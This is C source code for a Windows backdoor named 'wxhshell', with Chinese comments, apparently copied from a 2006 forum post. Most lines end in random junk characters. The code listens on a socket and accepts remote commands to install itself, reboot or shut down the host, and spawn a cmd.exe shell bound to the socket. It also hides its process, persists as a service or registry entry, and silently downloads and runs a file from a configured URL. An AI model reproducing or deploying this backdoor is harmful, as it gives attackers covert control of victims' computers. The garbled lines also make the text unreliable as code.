    switch(cmd[0]) { Lr pM\}t  
  }Zp,+U*"  
  // 帮助 |2A:eI8 ^  
  case '?': { SOIN']L|V[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K{+2G&i  
    break; 'LDQgC*%  
  } <N~K ;n v  
  // 安装 4#Jg9o   
  case 'i': { O;3>sLgc  
    if(Install()) p6S8VA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Dj#gV  
    else ^S; -fYW2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2GG2jky{/  
    break; TWX.D`W  
    } B%68\  
  // 卸载 I7 ]8Y=xf  
  case 'r': { ftSW (og  
    if(Uninstall()) f _:A0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zv{'MIv&v  
    else /PKNLK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #KvlYZ+1  
    break; M<&= S  
    } Kc\fu3Q  
  // 显示 wxhshell 所在路径 {_*yGK48n  
  case 'p': { CTmT@A{  
    char svExeFile[MAX_PATH]; \Vk:93OH21  
    strcpy(svExeFile,"\n\r"); n+R7D.<q!!  
      strcat(svExeFile,ExeFile); .e-#yET  
        send(wsh,svExeFile,strlen(svExeFile),0); |DwZ{(R"W  
    break; 0> \sQ,T  
    } eyxW 0}[  
  // 重启 2~[juWbz  
  case 'b': { [nh>vqum  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m]&SNz=  
    if(Boot(REBOOT)) o2ECG`^b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B33\?Yj)  
    else { 8{ I|$*nB  
    closesocket(wsh); nJ;.Td  
    ExitThread(0); _Z\G5x  
    } F"mmLao  
    break; FP>2C9:d  
    } %z$#6?OK^  
  // 关机 5bb(/YtFy  
  case 'd': { cZ3v=ke^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fV~[;e;U.  
    if(Boot(SHUTDOWN)) q,%st~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TcoB,Kdce  
    else { 8 FhdN  
    closesocket(wsh); iURe([@  
    ExitThread(0); B-mowmJ3dg  
    } }-2|XD%]  
    break; |':{lH6+1  
    } Y4YJJYvD  
  // 获取shell .RL=xb|[  
  case 's': { }QmqoCAE~m  
    CmdShell(wsh); (h `V+  
    closesocket(wsh); !n%j)`0M  
    ExitThread(0); nr3==21Om4  
    break; `GLx#=Q  
  } 1.>m@Slr>  
  // 退出 ptaKf4P^r  
  case 'x': { lLIA w$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @}ZVtrz  
    CloseIt(wsh); 1 TXioDs=_  
    break; "Y.y:Vv;  
    } p K$`$H  
  // 离开 R|Q?KCI&  
  case 'q': { 8?C5L8)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (-co.  
    closesocket(wsh); 5-A\9UC*@  
    WSACleanup(); _VXN#@y  
    exit(1); "gwSJ~:ds  
    break; *K; ~!P  
        } -n;}n:w L  
  } WY]s |2a  
  }  AOx[  
S8gs-gL#Og  
  // 提示信息 d d;T-wa}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xnh8e  
} ##ANrG l  
  } i@'dH3-kO  
S]{oPc[7  
  return; K> e7pu  
} >R=|Wo`Ri  
FiU#T.`9'  
// shell模块句柄 fXB0j;A  
int CmdShell(SOCKET sock) Z6m)tZVM  
{ ?@89lLD  
STARTUPINFO si; :v 4]D4\o  
ZeroMemory(&si,sizeof(si)); IR bfNq^:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WF"k[2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DV{=n C  
PROCESS_INFORMATION ProcessInfo; ?X;RLpEc|A  
char cmdline[]="cmd"; [00m/fT6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $od7;%  
  return 0; %XTI-B/K  
} 2T`!v  
yLcE X  
// 自身启动模式 rM "l@3hP  
int StartFromService(void) OrG).^l  
{ [S<";l8  
typedef struct i6N',&jFU  
{ -$@h1Y  
  DWORD ExitStatus; .e5Mnd%$M  
  DWORD PebBaseAddress; j|Q-*]V  
  DWORD AffinityMask; C7?/%7{  
  DWORD BasePriority; et+0FF ,  
  ULONG UniqueProcessId; }1xo-mUg,  
  ULONG InheritedFromUniqueProcessId; ?fS9J  
}   PROCESS_BASIC_INFORMATION; ^C%<l( b  
\Og+c%  
PROCNTQSIP NtQueryInformationProcess; B-ESFATc  
cj@koA'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i?;Kq~,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'f|o{  
L rPkxmR  
  HANDLE             hProcess; y?!"6t7&  
  PROCESS_BASIC_INFORMATION pbi; 4.(4x&  
*|l/6!WM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CQ2jP G*py  
  if(NULL == hInst ) return 0; G / 5%.Bf@  
_aMF?Pj~m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F<w/PMb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b>$S<td  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !%>7Dw(kt  
bN88ua}k{  
  if (!NtQueryInformationProcess) return 0; iR0y"Cii  
O1kl70,`R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]{LjRSV  
  if(!hProcess) return 0; cGD(.=  
BPHW}F]X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yppo6HGD  
D3A/l  
  CloseHandle(hProcess); 5M_H NWi4  
p<;0g9,1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,Lt[\_  
if(hProcess==NULL) return 0; iyog`s c  
39jG8zr=Z[  
HMODULE hMod; -{+}@?  
char procName[255]; w*MpX U<  
unsigned long cbNeeded; wdZ/Xp9]  
#89!'W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =rK+eG#,  
>OK^D+v"j  
  CloseHandle(hProcess); 8.~kK<)!  
 yOKI*.}  
if(strstr(procName,"services")) return 1; // 以服务启动 abEmRJTmW  
-!9G0h&i|  
  return 0; // 注册表启动 nxHkv`s k  
} Y4(  
l lsfTrp  
// 主模块 w`=\5Oa.G  
int StartWxhshell(LPSTR lpCmdLine) MJrR[h]  
{ 'P}0FktP`  
  SOCKET wsl; (4EI-e*6  
BOOL val=TRUE; 8sCv]|cn  
  int port=0; ],v=]+R  
  struct sockaddr_in door; {}Za_(Y,]  
O| hpXkV  
  if(wscfg.ws_autoins) Install(); +'w3 =2Bo  
r"R#@V\'1b  
port=atoi(lpCmdLine); cFWc<55aX6  
zv"Z DRW  
if(port<=0) port=wscfg.ws_port; x$%!U[!3  
I`p;F!s  
  WSADATA data; as_PoCoss  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C6y&#uX\  
eR"<33{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;({W#Wa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NgCvVWto  
  door.sin_family = AF_INET; @ry_nKr9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]g&TKm  
  door.sin_port = htons(port); y^%y<~f  
AzxXB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .6'qoo_N  
closesocket(wsl); tnG# IU *  
return 1; pHJ3nHLQ  
} 6K<K  
Tu7QCr5*  
  if(listen(wsl,2) == INVALID_SOCKET) { r>U@3%0&  
closesocket(wsl); O8.5}>gDn.  
return 1; ia 73?*mXT  
} 3%ZOKb"D*  
  Wxhshell(wsl); *=c1d o%F  
  WSACleanup(); mdg i5v  
VU d\QR-  
return 0; baK$L;Xo:  
"FKOaQ%IH  
} # N cK X  
b>N8F^}~O  
// 以NT服务方式启动 uR r o?m<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4_cqT/  
{ 0_t`%l=  
DWORD   status = 0; LE>]8[ f6S  
  DWORD   specificError = 0xfffffff; *`RkTc G  
`^y7f  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  ][h}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ( ICd}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j,dR,Nd  
  serviceStatus.dwWin32ExitCode     = 0; bbyg8;/  
  serviceStatus.dwServiceSpecificExitCode = 0; hfy_3}_  
  serviceStatus.dwCheckPoint       = 0; "6?0h[uff  
  serviceStatus.dwWaitHint       = 0; /~f'}]W  
NTI+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }~e%J(  
  if (hServiceStatusHandle==0) return; H+Sz=tg5  
KyQX!,rV  
status = GetLastError(); w G<yBI0  
  if (status!=NO_ERROR) 46&/gehr  
{ NPe%F+X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <HVt V9R  
    serviceStatus.dwCheckPoint       = 0; EJNU761  
    serviceStatus.dwWaitHint       = 0; >s?S+W[L  
    serviceStatus.dwWin32ExitCode     = status; :zF,A,)  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'ub@]ru|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .xWC{}7[  
    return; OH(waKq2I  
  } +&2%+[nBZ  
=$Nq   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e;}7G  
  serviceStatus.dwCheckPoint       = 0; q(2'\ _`u  
  serviceStatus.dwWaitHint       = 0; KNIn:K^/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5,6"&vU,  
} [ ~&/s:Vvo  
ah+iZ}E%  
// 处理NT服务事件,比如:启动、停止 wx0j(:B]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) X*@dj_,  
{ _t #k,;  
switch(fdwControl) o$lM$E:  
{ ` v@m-j6  
case SERVICE_CONTROL_STOP: Ge-vWf-RbB  
  serviceStatus.dwWin32ExitCode = 0; ? '{SX9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @7j AL-  
  serviceStatus.dwCheckPoint   = 0; C={Y;C1  
  serviceStatus.dwWaitHint     = 0; VZmLS 4E  
  { ByNn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D\NKC@(M  
  } l&Q`wR5e  
  return; )C]g ld;8  
case SERVICE_CONTROL_PAUSE: W+ko q*P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y^EcQzLw  
  break; dvJ M6W>^=  
case SERVICE_CONTROL_CONTINUE: >_"an~Ss  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Uh  
  break; "]b<uV  
case SERVICE_CONTROL_INTERROGATE: D!-g&HBTC  
  break; V/I<g  
}; Ks`J([(W&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]>nk"K!%  
} )"aV* "  
PKg@[<g43  
// 标准应用程序主函数 *]/zc1Q4M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wHMX=N1/  
{ DjQFi  
MC.) 2B7  
// 获取操作系统版本 V7fq4O^:  
OsIsNt=GetOsVer(); "Nbq#w\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #-i>;Rt  
UIN<2F_  
  // 从命令行安装 ]{mPh\  
  if(strpbrk(lpCmdLine,"iI")) Install(); !/i{l  
9c,'k#k  
  // 下载执行文件 YvyNHW&  
if(wscfg.ws_downexe) { mQ 26K~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ++Ts  
  WinExec(wscfg.ws_filenam,SW_HIDE); V_}"+&W9  
} ;dZZ;#k%  
T{ XS")Vw  
if(!OsIsNt) { 9u}Hmb  
// 如果时win9x,隐藏进程并且设置为注册表启动 lbl?k5  
HideProc(); a>I+]`g  
StartWxhshell(lpCmdLine); _ y8Wn}19f  
} ex (.=X 1  
else ""F5z,'  
  if(StartFromService()) f=gW]x7'R+  
  // 以服务方式启动 V/ uP%'cd  
  StartServiceCtrlDispatcher(DispatchTable); k(7&N0V%zz  
else iYm-tsER;  
  // 普通方式启动 .P%bkD6M  
  StartWxhshell(lpCmdLine); YdC6k?tzS  
Nk VK  
return 0; /,&<6c-Q@W  
}
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只看该作者 1 发表于: 2006-10-10
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